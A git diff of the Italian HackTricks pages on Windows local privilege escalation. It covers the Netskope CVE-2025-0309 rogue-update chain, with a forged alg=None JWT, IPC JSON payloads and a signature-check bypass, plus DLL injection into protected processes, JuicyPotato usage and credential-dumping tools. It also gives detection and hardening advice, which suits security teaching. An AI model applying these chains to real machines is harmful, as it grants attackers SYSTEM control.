**`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -Se vuoi [**saperne di più sulle named pipes dovresti leggere questo**](#named-pipe-client-impersonation).\ -Se vuoi leggere un esempio di [**come passare da high integrity a System usando name pipes dovresti leggere questo**](from-high-integrity-to-system-with-name-pipes.md). +Questa tecnica è usata da meterpreter per escalation in `getsystem`. La tecnica consiste nel **creare una pipe e poi creare/abusare di un servizio per scrivere su quella pipe**. Poi, il **server** che ha creato la pipe usando il privilegio **`SeImpersonate`** potrà **impersonare il token** del client della pipe (il servizio) ottenendo privilegi SYSTEM.\ +Se vuoi [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +Se vuoi leggere un esempio di [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in esecuzione come **SYSTEM** potrai eseguire codice arbitrario con quei permessi. Perciò Dll Hijacking è utile per questo tipo di escalation di privilegi e, inoltre, è di gran **più facile da ottenere da un processo con High Integrity** poiché avrà **permessi di scrittura** sulle cartelle usate per caricare le dll.\ -**Puoi** [**approfondire Dll hijacking qui**](dll-hijacking/index.html)**.** +Se riesci a **hijackare una dll** caricata da un **processo** in esecuzione come **SYSTEM** sarai in grado di eseguire codice arbitrario con quei permessi. Perciò Dll Hijacking è utile anche per questo tipo di escalation di privilegi e, inoltre, è di gran lunga **più facile da ottenere da un processo High Integrity**, poiché avrà **permessi di scrittura** sulle cartelle usate per caricare le dll.\ +**Puoi** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1600,17 +1602,17 @@ Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in e - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### Da LOCAL SERVICE o NETWORK SERVICE a privilegi completi +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Leggi:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Ulteriore aiuto +## Altri aiuti [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Strumenti utili -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Miglior strumento per cercare vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** @@ -1618,26 +1620,26 @@ Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in e [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla misconfigurazioni e file sensibili (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili misconfigurazioni e raccoglie info (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla misconfigurazioni**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni delle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Applica le password raccolte sul dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è un tool PowerShell per spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione Windows base per privesc**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae le sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali da Credential Manager. Rilevato.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spraya le password raccolte attraverso il dominio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno spoofer ADIDNS/LLMNR/mDNS/NBNS e strumento man-in-the-middle in PowerShell.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc su Windows**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca note vulnerabilità di privesc (DEPRECATO per Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Richiede diritti Admin)** +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Necessita diritti Admin)** **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca note vulnerabilità di privesc (deve essere compilato con VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più uno strumento di info gathering che di privesc) (deve essere compilato) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato su GitHub)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porting di PowerUp in C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più uno strumento di raccolta info che di privesc) (deve essere compilato) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato su github)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port di PowerUp in C#**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla misconfigurazioni (eseguibile precompilato su github). Non raccomandato. Non funziona bene su Win10.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool creato basandosi su questo post (non necessita di accesschk per funzionare correttamente ma può utilizzarlo). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Strumento creato basandosi su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo). **Local** @@ -1648,7 +1650,7 @@ Se riesci a **hijackare una dll** che viene **caricata** da un **processo** in e _multi/recon/local_exploit_suggestor_ -Devi compilare il progetto usando la versione corretta di .NET ([vedi questo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Per vedere la versione di .NET installata sull'host vittima puoi fare: +Devi compilare il progetto usando la versione corretta di .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Per vedere la versione di .NET installata sull'host vittima puoi fare: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1669,8 +1671,8 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) -- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) e kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) -- [Check Point Research – Inseguendo la Silver Fox: Gatto & Mouse nelle ombre del kernel](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 34646130e..8cc5fc375 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Questa pagina generalizza una classe di catene di local privilege escalation su Windows trovate in endpoint agent aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di update privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con pochi privilegi può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa. +Questa pagina generalizza una classe di chain di escalation di privilegi locali Windows trovate in agenti endpoint aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di aggiornamento privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con privilegi ridotti può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa. Idee chiave riutilizzabili contro prodotti simili: -- Abusare dell'IPC localhost di un servizio privilegiato per forzare la ri-iscrizione o la riconfigurazione verso un server controllato dall'attaccante. -- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater verso un pacchetto "signed" malevolo. -- Evadere controlli di signer deboli (CN allow‑lists), flag di digest opzionali, e proprietà MSI permissive. -- Se l'IPC è "encrypted", derivare la key/IV da identificatori macchina leggibili da tutti memorizzati nel registry. -- Se il servizio restringe i caller per image path/process name, inject in un processo allow‑listed o spawnarne uno suspended e bootstrap la tua DLL tramite una minimale thread‑context patch. +- Abusare della localhost IPC di un servizio privilegiato per forzare il re‑enrollment o la riconfigurazione verso un server controllato dall'attaccante. +- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater a un pacchetto maligno “signed”. +- Evitare controlli di firma deboli (CN allow‑lists), flag opzionali di digest, e proprietà MSI permissive. +- Se l'IPC è “encrypted”, derivare la key/IV da identificatori di macchina leggibili da tutti memorizzati nel registro. +- Se il servizio restringe i chiamanti per image path/process name, iniettare in un processo allow‑listed o spawnarne uno suspended e bootstrapare la tua DLL tramite una patch minimale del thread‑context. --- -## 1) Forcing enrollment to an attacker server via localhost IPC +## 1) Forzare l'enrollment verso un server dell'attaccante via localhost IPC -Molti agenti distribuiscono un processo UI in user‑mode che comunica con un servizio SYSTEM via localhost TCP usando JSON. +Molti agent includono un processo UI in user‑mode che comunica con un servizio SYSTEM tramite localhost TCP usando JSON. -Observed in Netskope: -- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +Osservato in Netskope: +- UI: stAgentUI (bassa integrità) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN -Flusso dell'exploit: -1) Creare un token JWT di enrollment i cui claim controllano l'host backend (es., AddonUrl). Usare alg=None in modo che non sia richiesta una firma. -2) Inviare il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome tenant: +Exploit flow: +1) Crea un token JWT di enrollment i cui claim controllano l'host backend (es. AddonUrl). Usa alg=None così non è richiesta alcuna firma. +2) Invia il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome del tenant: ```json { "148": { @@ -31,88 +31,88 @@ Flusso dell'exploit: } } ``` -3) Il servizio inizia a contattare il tuo rogue server per enrollment/config, ad es.: +3) Il servizio inizia a colpire il tuo server rogue per enrollment/config, p.es.: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail -Notes: -- Se la verifica del caller è basata su path/name‑based, origina la richiesta da un allow‑listed vendor binary (vedi §4). +Note: +- Se la verifica del caller è basata su path/nome, origina la richiesta da un vendor binary allow‑listed (vedi §4). --- -## 2) Dirottare il canale di aggiornamento per eseguire codice come SYSTEM +## 2) Hijacking the update channel to run code as SYSTEM -Una volta che il client comunica col tuo server, implementa gli endpoint attesi e indirizzalo verso un MSI dell'attaccante. Sequenza tipica: +Una volta che il client comunica con il tuo server, implementa gli endpoint attesi e instradalo verso un MSI dell'attaccante. Sequenza tipica: -1) /v2/config/org/clientconfig → Restituisci una config JSON con un intervallo di aggiornamento molto breve, ad es.: +1) /v2/config/org/clientconfig → Restituisci una configurazione JSON con un intervallo di aggiornamento molto breve, p.es.: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il service lo installa nello store Local Machine Trusted Root. -3) /v2/checkupdate → Fornisce metadata che puntano a un MSI maligno e a una versione fasulla. +2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il servizio lo installa nello Local Machine Trusted Root store. +3) /v2/checkupdate → Fornisce metadati che puntano a un MSI malevolo e a una versione falsa. -Bypassare controlli comuni osservati in the wild: -- Signer CN allow‑list: il service potrebbe controllare solo che il Subject CN sia “netSkope Inc” o “Netskope, Inc.”. La tua CA rogue può emettere un leaf con quel CN e firmare l'MSI. -- CERT_DIGEST property: includi una property MSI innocua chiamata CERT_DIGEST. Nessuna enforcement all'installazione. -- Optional digest enforcement: flag di config (es., check_msi_digest=false) disabilita validazioni crittografiche aggiuntive. +Bypassing common checks seen in the wild: +- Signer CN allow‑list: il servizio potrebbe controllare solo che il Subject CN sia uguale a “netSkope Inc” o “Netskope, Inc.”. La tua rogue CA può emettere un leaf con quel CN e firmare l'MSI. +- CERT_DIGEST property: includi una proprietà MSI benign chiamata CERT_DIGEST. Nessuna applicazione al momento dell'installazione. +- Optional digest enforcement: un flag di config (es., check_msi_digest=false) disabilita la validazione crittografica aggiuntiva. -Risultato: il servizio SYSTEM installa il tuo MSI da +Result: il servizio SYSTEM installa il tuo MSI da C:\ProgramData\Netskope\stAgent\data\*.msi eseguendo codice arbitrario come NT AUTHORITY\SYSTEM. --- ## 3) Forging encrypted IPC requests (when present) -Da R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Il reverse engineering ha mostrato AES con key/IV derivate da valori di registry leggibili da qualsiasi utente: +From R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Reversing ha mostrato AES con key/IV derivati da valori di registro leggibili da qualsiasi utente: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Gli attacker possono riprodurre la cifratura e inviare comandi cifrati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” la sua IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material. +Gli attacker possono riprodurre la cifratura e inviare comandi criptati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” il suo IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Alcuni servizi provano ad autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine contro binari vendor nella allow‑list sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe). +Alcuni servizi tentano di autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine con vendor binaries allow‑listati situati sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe). Due bypass pratici: -- DLL injection in un processo presente nella allow‑list (es., nsdiag.exe) e proxy dell'IPC dall'interno. -- Avviare un binario della allow‑list in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver. +- DLL injection in un processo allow‑listato (es., nsdiag.exe) e proxy dell'IPC dall'interno. +- Avviare un vendor binary allow‑listato in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver. --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -I prodotti spesso imbarcano un minifilter/OB callbacks driver (es., Stadrv) che rimuove diritti pericolosi dagli handle verso processi protetti: +I prodotti spesso distribuiscono un minifilter/OB callbacks driver (es., Stadrv) per rimuovere diritti pericolosi dagli handle verso processi protetti: - Process: rimuove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME - Thread: limita a THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE -Un loader user‑mode affidabile che rispetta questi vincoli: -1) CreateProcess di un binario vendor con CREATE_SUSPENDED. -2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi codice a un RIP noto). -3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi salta indietro. -4) ResumeThread per triggerare la stub in‑process, caricando la tua DLL. +Un loader affidabile in user‑mode che rispetta questi vincoli: +1) CreateProcess di un vendor binary con CREATE_SUSPENDED. +2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi il codice a un RIP noto). +3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi ritorna. +4) ResumeThread per attivare la stub in‑process, caricando la tua DLL. -Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (l'hai creato tu), la policy del driver è soddisfatta. +Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (tu l'hai creato), la policy del driver è soddisfatta. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) automatizza una rogue CA, la signing di MSI maligni e serve gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope è un custom IPC client che costruisce messaggi IPC arbitrari (opzionalmente AES‑encrypted) e include l'injection via suspended‑process per originare da un binario nella allow‑list. +- NachoVPN (Netskope plugin) automatizza una rogue CA, la firma di un MSI malevolo, e fornisce gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope è un IPC client custom che costruisce messaggi IPC arbitrari (opzionalmente AES‑encrypted) e include l'injection tramite processo sospeso per farli originare da un binary allow‑listato. --- ## 7) Detection opportunities (blue team) -- Monitorare aggiunte al Local Machine Trusted Root. Sysmon + registry‑mod eventing (vedi guidance di SpecterOps) funziona bene. -- Segnalare esecuzioni MSI avviate dal service dell'agent da percorsi come C:\ProgramData\\\data\*.msi. -- Revisionare i log dell'agent per host/tenant di enrollment inattesi, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – cercare addonUrl / anomalie tenant e provisioning msg 148. -- Allertare su client IPC localhost che non siano i binari firmati attesi, o che originano da alberi di processo figlio inconsueti. +- Monitorare le aggiunte al Local Machine Trusted Root. Sysmon + registry‑mod eventing (vedi SpecterOps guidance) funziona bene. +- Segnalare esecuzioni di MSI avviate dal servizio dell'agent da percorsi come C:\ProgramData\\\data\*.msi. +- Revisionare i log dell'agent per host/tenant di enrollment inaspettati, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – cercare anomalie in addonUrl / tenant e provisioning msg 148. +- Allertare su client IPC localhost che non sono i signed binaries attesi, o che originano da alberi di processi figli insoliti. --- ## Hardening tips for vendors - Vincolare enrollment/update hosts a una allow‑list rigorosa; rifiutare domini non trusted nel clientcode. - Autenticare i peer IPC con primitive OS (ALPC security, named‑pipe SIDs) invece di controlli su image path/name. -- Tenere materiale segreto fuori da HKLM leggibile da tutti; se l'IPC deve essere cifrato, derivare le chiavi da secret protetti o negoziare su channel autenticati. -- Trattare l'updater come una superficie di supply‑chain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei pacchetti contro chiavi pinned, e fail closed se la validazione è disabilitata in config. +- Tenere il materiale secret fuori da HKLM leggibile da tutti; se l'IPC deve essere encrypted, derivare le chiavi da secret protetti o negoziare su canali autenticati. +- Trattare l'updater come una superficie supply‑chain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei package rispetto a chiavi pinned, e fallire closed se la validazione è disabilitata in config. ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 76f8a77e5..a1802abaf 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,58 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato è legacy. Generalmente funziona sulle versioni di Windows fino a Windows 10 1803 / Windows Server 2016. Le modifiche di Microsoft introdotte a partire da Windows 10 1809 / Server 2019 hanno rotto la tecnica originale. Per quei build e successivi, considera alternative più moderne come PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e altre. Vedi la pagina sotto per opzioni e utilizzo aggiornati. +> [!WARNING] > JuicyPotato è legacy. Funziona generalmente su Windows fino a Windows 10 1803 / Windows Server 2016. Le modifiche introdotte da Microsoft a partire da Windows 10 1809 / Server 2019 hanno rotto la tecnica originale. Per quelle build e versioni successive, considera alternative moderne come PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e altre. Vedi la pagina qui sotto per opzioni e utilizzo aggiornati. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abuso dei privilegi "golden") +## Juicy Potato (abuso dei privilegi 'golden') -_Una versione addolcita di_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un po' di juice, cioè **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ +_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### Puoi scaricare juicypotato da [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Note rapide di compatibilità +### Compatibility quick notes - Funziona in modo affidabile fino a Windows 10 1803 e Windows Server 2016 quando il contesto corrente ha SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege. -- Rotto dall'hardening Microsoft in Windows 10 1809 / Windows Server 2019 e successivi. Preferisci le alternative linkate sopra per quei build. +- Interrotto dall'hardening di Microsoft in Windows 10 1809 / Windows Server 2019 e versioni successive. Preferisci le alternative collegate sopra per quelle build. -### Sommario +### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata sul servizio `BITS` che ha il listener MiTM su `127.0.0.1:6666` e quando si hanno i privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione di build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. -Abbiamo deciso di weaponizzare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **dai il benvenuto a Juicy Potato**. +We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. -> Per la teoria, vedi [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) e segui la catena di link e riferimenti. +> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. -Abbiamo scoperto che, oltre a `BITS`, ci sono diversi COM servers che possiamo abusare. Devono solo: +Abbiamo scoperto che, oltre a `BITS`, esistono diversi COM servers che possiamo abusare. Devono semplicemente: -1. poter essere istanziati dall'utente corrente, normalmente un “service user” che ha privilegi di impersonation +1. essere istanziabili dall'utente corrente, normalmente un “service user” che possiede privilegi di impersonazione 2. implementare l'interfaccia `IMarshal` -3. girare come utente elevato (SYSTEM, Administrator, …) +3. essere eseguiti come utente elevato (SYSTEM, Administrator, …) -Dopo alcuni test abbiamo ottenuto e testato una lista estesa di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows. +Dopo alcuni test abbiamo ottenuto e testato un'ampia lista di [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows. -### Dettagli succosi +### Juicy details -JuicyPotato permette di: +JuicyPotato consente di: - **Target CLSID** _scegli qualsiasi CLSID tu voglia._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare la lista organizzata per OS._ -- **COM Listening port** _definire la porta di ascolto COM che preferisci (invece della 6666 hardcoded nel marshalled)_ -- **COM Listening IP address** _bindare il server su qualsiasi IP_ -- **Process creation mode** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_ +- **COM Listening port** _definisci la porta di ascolto COM che preferisci (invece della marshalled hardcoded 6666)_ +- **COM Listening IP address** _lega il server a qualsiasi IP_ +- **Process creation mode** _in base ai privilegi dell'utente impersonato puoi scegliere tra:_ - `CreateProcessWithToken` (needs `SeImpersonate`) - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) - `both` -- **Process to launch** _lanciare un eseguibile o uno script se l'exploit ha successo_ -- **Process Argument** _personalizzare gli argomenti del processo lanciato_ +- **Process to launch** _avvia un eseguibile o script se l'exploitation ha successo_ +- **Process Argument** _personalizza gli argomenti del processo lanciato_ - **RPC Server address** _per un approccio stealth puoi autenticarti a un RPC server esterno_ -- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_ -- **TEST mode** _principalmente per scopi di test, es. testare CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) +- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall sta bloccando la porta `135`…_ +- **TEST mode** _principalmente per scopi di testing, es. testare i CLSID. Crea il DCOM e stampa l'utente del token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) ### Usage ``` @@ -72,30 +72,30 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Considerazioni finali +### Final thoughts [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** Se l'utente ha i privilegi `SeImpersonate` o `SeAssignPrimaryToken` allora sei **SYSTEM**. -È quasi impossibile impedire l'abuso di tutti questi COM Servers. Potresti pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna, sarà difficile. +È quasi impossibile impedire l'abuso di tutti questi COM Servers. Si potrebbe pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna: sarà impegnativo. -La soluzione reale è proteggere gli account sensibili e le applicazioni che girano sotto gli account `* SERVICE`. Bloccare `DCOM` ostacolerebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante. +La soluzione reale è proteggere account sensibili e applicazioni che vengono eseguiti sotto gli account `* SERVICE`. Arrestare `DCOM` certamente inibirebbe questo exploit ma potrebbe avere un serio impatto sul sistema operativo sottostante. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG 